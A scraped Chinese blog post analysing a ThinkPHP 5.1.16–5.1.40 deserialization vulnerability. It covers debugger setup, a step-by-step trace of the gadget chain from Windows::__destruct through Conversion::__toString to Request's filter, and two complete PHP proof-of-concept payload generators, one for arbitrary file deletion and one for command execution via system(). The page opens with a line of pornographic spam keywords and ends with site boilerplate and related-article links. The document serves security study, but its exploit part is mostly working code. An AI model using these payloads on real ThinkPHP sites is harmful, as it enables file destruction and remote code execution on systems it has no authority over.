国产 无码 综合区,色欲AV无码国产永久播放,无码天堂亚洲国产AV,国产日韩欧美女同一区二区

thinkphp 反序列化漏洞

這篇具有很好參考價(jià)值的文章主要介紹了thinkphp 反序列化漏洞。希望對大家有所幫助。如果存在錯(cuò)誤或未考慮完全的地方,請大家不吝賜教,您也可以點(diǎn)擊"舉報(bào)違法"按鈕提交疑問。

配置xdebug

php.ini

[Xdebug]
zend_extension=D:/phpstudy_pro/Extensions/php/php7.3.4nts/ext/php_xdebug.dll
xdebug.mode=debug
xdebug.start_with_request=yes
xdebug.client_host=127.0.0.1
xdebug.client_port=9000
xdebug.idekey = PHPSTORM

配置phpstorm中的CLI解釋器、本地服務(wù)器、調(diào)試的端口、DBGp代理以及phpstudy中的版本、擴(kuò)展

配置防調(diào)試超時(shí)

1.打開apache配置文件注釋掉如下,并添加一行。

# Various default settings
Include conf/extra/httpd-default.conf 將注釋去掉
Include conf/extra/httpd-fcgid.conf 添加此行

2. 更改httpd-default.conf如下內(nèi)容
# Timeout: The number of seconds before receives and sends time out.
#
Timeout 3600

#
# KeepAlive: Whether or not to allow persistent connections (more than
# one request per connection). Set to "Off" to deactivate.
#
KeepAlive On

#
# MaxKeepAliveRequests: The maximum number of requests to allow
# during a persistent connection. Set to 0 to allow an unlimited amount.
# We recommend you leave this number high, for maximum performance.
#
MaxKeepAliveRequests 0

#
# KeepAliveTimeout: Number of seconds to wait for the next request from the
# same client on the same connection.
#
KeepAliveTimeout 3600

3.更改php.ini如下內(nèi)容
max_execution_time = 3600
; Maximum amount of time each script may spend parsing request data. It's a good
; idea to limit this time on productions servers in order to eliminate unexpectedly
; long running scripts.

4.在extra目錄下創(chuàng)建httpd-fcgid.conf,寫入如下內(nèi)容。
ProcessLifeTime 3600
FcgidIOTimeout 3600
FcgidConnectTimeout 3600
FcgidOutputBufferSize 128
FcgidMaxRequestsPerProcess 1000
FcgidMinProcessesPerClass 0 
FcgidMaxProcesses 16 
FcgidMaxRequestLen 268435456   
FcgidInitialEnv PHP_FCGI_MAX_REQUESTS 1000
IPCConnectTimeout 3600
IPCCommTimeout 3600
FcgidIdleTimeout 3600
FcgidBusyTimeout 60000
FcgidBusyScanInterval 120
FcgidInitialEnv PHPRC "D:\phpstudy_pro\Extensions\php\php7.3.4nts"
AddHandler fcgid-script .php

反序列化漏洞

測試版本5.1.37

適用版本5.1.16-5.1.40

利用鏈

think\process\pipes\Windows ?__destruct?removeFiles?file_exists?__toString
think\model\concern\Conversion?__toString?toJson?toArray
thinkphp\library\think\Request?__call?isAjax?parma?input?filterValue

詳細(xì)分析

修改控制器

<?php 
    namespace app\index\controller; 
	class Index { 
    public function index() { 
    unserialize(base64_decode($_GET['id'])); return "Welcome!"; 
    } 
}

查找入口__destruct,進(jìn)入windows類

thinkphp 反序列化漏洞

    public function __destruct()
    {
        $this->close();
        $this->removeFiles();
    }

查看removeFiles方法

    private function removeFiles()
    {
        foreach ($this->files as $filename) {
            if (file_exists($filename)) {
                @unlink($filename);
            }
        }
        $this->files = [];
    }

poc1(任意文件刪除)

<?php
namespace think\process\pipes;
class Pipes{}
class Windows extends Pipes{
    private $files = ['D:\phpstudy_pro\WWW\v5.1.37\a.txt'];
    //這里一定要絕對路徑
}
$a=new Windows();
echo base64_encode(serialize($a));

TzoyNzoidGhpbmtccHJvY2Vzc1xwaXBlc1xXaW5kb3dzIjoxOntzOjM0OiIAdGhpbmtccHJvY2Vzc1xwaXBlc1xXaW5kb3dzAGZpbGVzIjthOjE6e2k6MDtzOjMzOiJEOlxwaHBzdHVkeV9wcm9cV1dXXHY1LjEuMzdcYS50eHQiO319

thinkphp 反序列化漏洞

查找__toString

removeFiles方法里面使用了file_exists($filename), $filename變量可控,傳入一個(gè)對象則會調(diào)用對象的__toString方法將對象轉(zhuǎn)換成字符串再判斷, 查找可利用的toString,找到think\model\concern\Conversion類

    public function __toString()
    {
        return $this->toJson();
    }
    public function toJson($options = JSON_UNESCAPED_UNICODE)
    {
        return json_encode($this->toArray(), $options);
    }
public function toArray()
    {
        $item       = [];
        $hasVisible = false;
...
if (!empty($this->append)) {
            foreach ($this->append as $key => $name) {
                if (is_array($name)) {
                    // 追加關(guān)聯(lián)對象屬性
                    $relation = $this->getRelation($key);
                    if (!$relation) {
                        $relation = $this->getAttr($key);
                        if ($relation) {
                            $relation->visible($name);
                        }
                    }
...
                }

if里的relation不為空,進(jìn)入第二個(gè)if后先跟進(jìn)getAttr,又調(diào)用了getData(),getData(),這里 $this->data可控

public function getAttr($name, &$item = null)
    {
        try {
            $notFound = false;
            $value    = $this->getData($name);
        } catch (InvalidArgumentException $e) {
            $notFound = true;
            $value    = null;
        }
...
    return $value;
public function getData($name = null)
    {
        if (is_null($name)) {
            return $this->data;
        } elseif (array_key_exists($name, $this->data)) {
            return $this->data[$name];

自此,relation->visible($name) 變成了:可控類->visible(可控變量)

接下來的思路就是找 可利用的visible()方法 或者 可利用的 __call()

這里有一個(gè)細(xì)節(jié),使用__call代替visible時(shí),visible會作為KaTeX parse error: Expected group after '_' at position 9: method傳入_?_call方法,name則傳入args

一般PHP中的__call方法都是用來進(jìn)行容錯(cuò)或者是動態(tài)調(diào)用,所以一般會在__call方法中使用
__call_user_func($method, $args)
__call_user_func_array([$obj,$method], $args)
但是 public function __call($method, $args) 我們只能控制 $args,所以很多類都不可以用
經(jīng)過查找發(fā)現(xiàn) think-5.1.37/thinkphp/library/think/Request.php 中的 __call使用array取值

thinkphp\library\think\Request

    public function __call($method, $args)
    {
        if (array_key_exists($method, $this->hook)) {
            array_unshift($args, $this);
            return call_user_func_array($this->hook[$method], $args);
        }
        
//call_user_func_array([$obj,"任意方法"],[$this,任意參數(shù)])
//也就是
//$obj->$func($this,$argv)

這里的method是前面?zhèn)鬟f過來的visible,?this->hook可控,因此只需要設(shè)置this->hook=[“visible”=>”任意方法”]就能使這里的call_user_func_array(this->hook[method], args); 相當(dāng)于call_user_func_array(‘任意方法’, args);

這里有個(gè) array_unshift(args, ?this); 會把this放到?arg數(shù)組的第一個(gè)元素

開始尋找不受this對象影響的方法

這種情況是很難執(zhí)行命令的,但是Thinkphp作為一個(gè)web框架, Request類中有一個(gè)特殊的功能就是過濾器 filter(ThinkPHP的多個(gè)遠(yuǎn)程代碼執(zhí)行都是出自此處) 所以可以嘗試覆蓋filter的方法去執(zhí)行代碼 尋找使用了過濾器的所有方法 發(fā)現(xiàn)input()函數(shù)滿足條件,但是在 input() 中會對 $name 進(jìn)行強(qiáng)轉(zhuǎn) $name = (string) $name; 傳入對象會直接報(bào)錯(cuò),所以使用 ide 對其進(jìn)行回溯,查找調(diào)用 input() 的方法

public function input($data = [], $name = '', $default = null, $filter = '')
    {
        ...

        $name = (string) $name;
        if ('' != $name) {
            // 解析name
            if (strpos($name, '/')) {
                list($name, $type) = explode('/', $name);
            }
			//從數(shù)組$data中獲取鍵為$name的value作為$data的新值,這個(gè)value必須是數(shù)組
            $data = $this->getData($data, $name);
						
            ...

            if (is_object($data)) {//$data不能是對象
                return $data;
            }
        }

        // 解析過濾器
	//getFilter方法里如果 $filter = false 則 $filter = $this->filter;因此$filter可控
        $filter = $this->getFilter($filter, $default);

        if (is_array($data)) {
            array_walk_recursive($data, [$this, 'filterValue'], $filter);
						...
        } else {
            $this->filterValue($data, $name, $filter);
        }
				...

        return $data;
    }

繼續(xù)查找調(diào)用input方法的的函數(shù)

param方法第一個(gè)參數(shù)可控,從這里入手

public function param($name = '', $default = null, $filter = '')
{
    if (!$this->mergeParam) {
        ...
    }

    if (true === $name) {
        ...
    }

    return $this->input($this->param, $name, $default, $filter);
}

function param($name = '', $default = null, $filter = '') 的回溯中發(fā)現(xiàn) isAjax()isPjax()$this->config['var_ajax'] 是可控的,那么 input() 的第一個(gè)參數(shù)也是可控的,由于只給 input() 傳了一個(gè)參數(shù),其 $name 默認(rèn)為空,調(diào)用鏈完成

  public function isAjax($ajax = false)
    {
        $value  = $this->server('HTTP_X_REQUESTED_WITH');
        $result = 'xmlhttprequest' == strtolower($value) ? true : false;

        if (true === $ajax) {
            return $result;
        }

        $result           = $this->param($this->config['var_ajax']) ? true : $result;
        $this->mergeParam = false;
        return $result;
    }

poc2(任意命令執(zhí)行)

<?php
namespace think;
abstract class Model{
    protected $append = [];
    private $data = [];
    function __construct(){
        $this->append = ["poc"=>[" "," "]];
        $this->data = ["poc"=>new Request()];
    }
}
class Request
{
    protected $hook = [];
    protected $filter = "system";
    protected $mergeParam=true;
    protected $param = [];
    protected $config = [
        // 表單請求類型偽裝變量
        'var_method'       => '_method',
        // 表單ajax偽裝變量
        'var_ajax'         => '_ajax',
        // 表單pjax偽裝變量
        'var_pjax'         => '_pjax',
        // PATHINFO變量名 用于兼容模式
        'var_pathinfo'     => 's',
        // 兼容PATH_INFO獲取
        'pathinfo_fetch'   => ['ORIG_PATH_INFO', 'REDIRECT_PATH_INFO', 'REDIRECT_URL'],
        // 默認(rèn)全局過濾方法 用逗號分隔多個(gè)
        'default_filter'   => '',
        // 域名根,如thinkphp.cn
        'url_domain_root'  => '',
        // HTTPS代理標(biāo)識
        'https_agent_name' => '',
        // IP代理獲取標(biāo)識
        'http_agent_ip'    => 'HTTP_X_REAL_IP',
        // URL偽靜態(tài)后綴
        'url_html_suffix'  => 'html',
    ];
    function __construct(){
        $this->filter = "system";//回調(diào)時(shí)調(diào)用的PHP函數(shù)
        $this->config = ["var_ajax"=>''];//在isAjax方法傳遞給param方法的$name繞過param方法的一些操作,但主要是為了繞過input方法里面對$data的改變
        $this->hook = ["visible"=>[$this,"isAjax"]];//在__call里面調(diào)用isAjax
        $this->mergeParam=true;//繞過param方法里的一些操作
        $this->param=["calc",""];//input方法的$data,也是即將執(zhí)行的命令
    }
}
namespace think\process\pipes;

use think\model\concern\Conversion;
use think\model\Pivot;
class Windows
{
    private $files = [];

    public function __construct()
    {
        $this->files=[new Pivot()];
    }
}
namespace think\model;

use think\Model;

class Pivot extends Model
{
}
use think\process\pipes\Windows;
echo base64_encode(serialize(new Windows()));
?>

補(bǔ)充代碼

__call( m e t h o d , method, method,arguments)

<?php
class Test
{
//    function __destruct(){
//        echo "coleak1";
//    }
    function  __call($method,$arguments)
    {
        echo "__call" .PHP_EOL. $method.PHP_EOL;
        print_r($arguments);
    }
}
$a=new Test();
$a->acdads('aaaaa');

__call
acdads
Array
(
[0] => aaaaa
)

array_unshift

<?php
$a=array("a"=>"red","b"=>"green");
array_unshift($a,"blue");
print_r($a);
?>

Array
(
[0] => blue
[a] => red
[b] => green
)

call_user_func_array

<?php
$a=['whoami','ipconfig'];
$b='system';
call_user_func_array($b,$a);

coleak\admin文章來源地址http://www.zghlxwxcb.cn/news/detail-510262.html

到了這里,關(guān)于thinkphp 反序列化漏洞的文章就介紹完了。如果您還想了解更多內(nèi)容,請?jiān)谟疑辖撬阉鱐OY模板網(wǎng)以前的文章或繼續(xù)瀏覽下面的相關(guān)文章,希望大家以后多多支持TOY模板網(wǎng)!

本文來自互聯(lián)網(wǎng)用戶投稿,該文觀點(diǎn)僅代表作者本人,不代表本站立場。本站僅提供信息存儲空間服務(wù),不擁有所有權(quán),不承擔(dān)相關(guān)法律責(zé)任。如若轉(zhuǎn)載,請注明出處: 如若內(nèi)容造成侵權(quán)/違法違規(guī)/事實(shí)不符,請點(diǎn)擊違法舉報(bào)進(jìn)行投訴反饋,一經(jīng)查實(shí),立即刪除!

領(lǐng)支付寶紅包贊助服務(wù)器費(fèi)用

相關(guān)文章

  • php反序列化漏洞基礎(chǔ)

    php反序列化漏洞基礎(chǔ)

    ????????序列化是將對象或類轉(zhuǎn)換為字符串的過程 ,以便在程序運(yùn)行過程中對其進(jìn)行持久化存儲或傳輸?shù)牟僮?。在PHP中,序列化主要用于將類對象或數(shù)組轉(zhuǎn)換成字節(jié)流的形式,以便于存儲在磁盤或傳輸?shù)狡渌到y(tǒng)。 ????????通過 序列化,可以將對象或類轉(zhuǎn)換成一串字

    2024年01月20日
    瀏覽(37)
  • PHP反序列化漏洞原理

    1、原理: 序列化與反序列化是保證數(shù)據(jù)一致性的過程。 2、產(chǎn)生: 序列化與反序列化的過程中,用戶可控 如果反序列化的參數(shù)受到攻擊者的控制,就會產(chǎn)生漏洞。攻擊者可以通過修改參數(shù)個(gè)數(shù)等方式來控制反序列化過程,從而導(dǎo)致代碼執(zhí)行、SQL注入、目錄遍歷等不可控后果。

    2024年01月16日
    瀏覽(24)
  • 反序列化漏洞及PHP魔法函數(shù)

    反序列化漏洞及PHP魔法函數(shù)

    目錄 1、漏洞原理 2、序列化(以PHP語言為例) 3、反序列化 4、PHP魔法函數(shù) (1)__wakeup() (2)__destruct() (3)__construct() (4)__toString() (5)__get() (6)__call() PHP反序列化漏洞也叫PHP對象注入,形成的原因是程序未對用戶輸入的序列化字符串進(jìn)行檢測,導(dǎo)致攻擊者可以控制反

    2024年02月04日
    瀏覽(35)
  • PHP反序列化漏洞之魔術(shù)方法

    PHP反序列化漏洞之魔術(shù)方法

    PHP魔術(shù)方法 (Magic Methods) 是一組特殊的方法,它們在特定的情況下會被自動調(diào)用,用于實(shí)現(xiàn)對象的特殊行為或提供額外功能。這些方法的名稱都以雙下劃線開頭和結(jié)尾,例如: __construct() 、 __toString() 等。 魔術(shù)方法可以幫助我們實(shí)現(xiàn)一些特殊的行為,例如對象的初始化、屬性

    2024年02月16日
    瀏覽(29)
  • PHP反序列化漏洞-魔術(shù)方法繞過

    一、__wakeup()魔法函數(shù)繞過: 在PHP中,__wakeup()是一個(gè)魔術(shù)方法,用于在反序列化對象時(shí)自動調(diào)用。 當(dāng)反序列化字符串中的對象屬性個(gè)數(shù)大于實(shí)際屬性個(gè)數(shù)時(shí) ,可以利用這個(gè)漏洞進(jìn)行繞過。 觸發(fā)條件: PHP版本為5.6.25或早期版本,或者PHP7版本小于7.0.10。 反序列化字符串中的對

    2024年01月18日
    瀏覽(48)
  • PHP反序列化漏洞-字符串逃逸

    字符串逃逸(閉合) 字符串逃逸(閉合)是一種在反序列化函數(shù)可控的情況下,通過修改序列化字符串中的敏感字符來達(dá)到字符串逃逸的方法。 具體而言,可以通過修改變量名等個(gè)數(shù),使得序列化字符串中的字符個(gè)數(shù)與實(shí)際變量值個(gè)數(shù)不一致 。由于反序列化機(jī)制要求字符串

    2024年01月20日
    瀏覽(23)
  • php魔術(shù)方法和反序列化漏洞

    漏洞形成的根本原因就是程序沒有對用戶輸入的反序列化字符串進(jìn)行檢測,導(dǎo)致反序列化過程可以被惡意控制,進(jìn)而造成代碼執(zhí)行、GetShell 等一系列不可控的后果。反序列化漏洞并不是PHP 特有的,也存在于Java、Python 語言中,其原理基本相同。 反序列化是字節(jié)流轉(zhuǎn)對象的過程

    2024年02月09日
    瀏覽(34)
  • PHP反序列化漏洞之產(chǎn)生原因(題目練習(xí))

    PHP反序列化漏洞之產(chǎn)生原因(題目練習(xí))

    PHP反序列化漏洞又叫做PHP對象注入漏洞,是因?yàn)槌绦驅(qū)斎氲男蛄谢蟮淖址幚聿划?dāng)導(dǎo)致的。反序列化漏洞的成因在于代碼中的unserialize()接收參數(shù)可控,導(dǎo)致代碼執(zhí)行,SQL注入,目錄遍歷,getshell等后果。 一句話講曬就是: ?反序列化漏洞是由于unserialize函數(shù)接收到了

    2024年02月06日
    瀏覽(33)
  • PHP反序列化漏洞(最全面最詳細(xì)有例題)

    PHP反序列化漏洞(最全面最詳細(xì)有例題)

    靶場搭建: 所有例題靶場里面都有 直接把文件放在phpstudy的目錄下,或者用docker打開都行 類的結(jié)構(gòu),類的內(nèi)容,實(shí)例化和賦值,類的修飾符介紹 外部可以用調(diào)用public屬性,類的內(nèi)部可以調(diào)用protected,public屬性成員屬性。都不能調(diào)用private屬性的成員 private屬性變量,會在其前面

    2024年02月10日
    瀏覽(34)
  • 38-WEB漏洞-反序列化之PHP&JAVA全解(下)

    38-WEB漏洞-反序列化之PHP&JAVA全解(下)

    序列化(Serialization):將對象的狀態(tài)信息轉(zhuǎn)換為可以存儲或傳輸?shù)男问降倪^程。在序列化期間,對象將其當(dāng)前狀態(tài)寫入到臨時(shí)或持久性存儲區(qū)。 反序列化:從存儲區(qū)中讀取該數(shù)據(jù),并將其還原為對象的過程,成為反序列化。 1、主函數(shù): 調(diào)用序列化方法 將反序列化的的結(jié)果

    2024年01月25日
    瀏覽(26)

覺得文章有用就打賞一下文章作者

支付寶掃一掃打賞

博客贊助

微信掃一掃打賞

請作者喝杯咖啡吧~博客贊助

支付寶掃一掃領(lǐng)取紅包,優(yōu)惠每天領(lǐng)

二維碼1

領(lǐng)取紅包

二維碼2

領(lǐng)紅包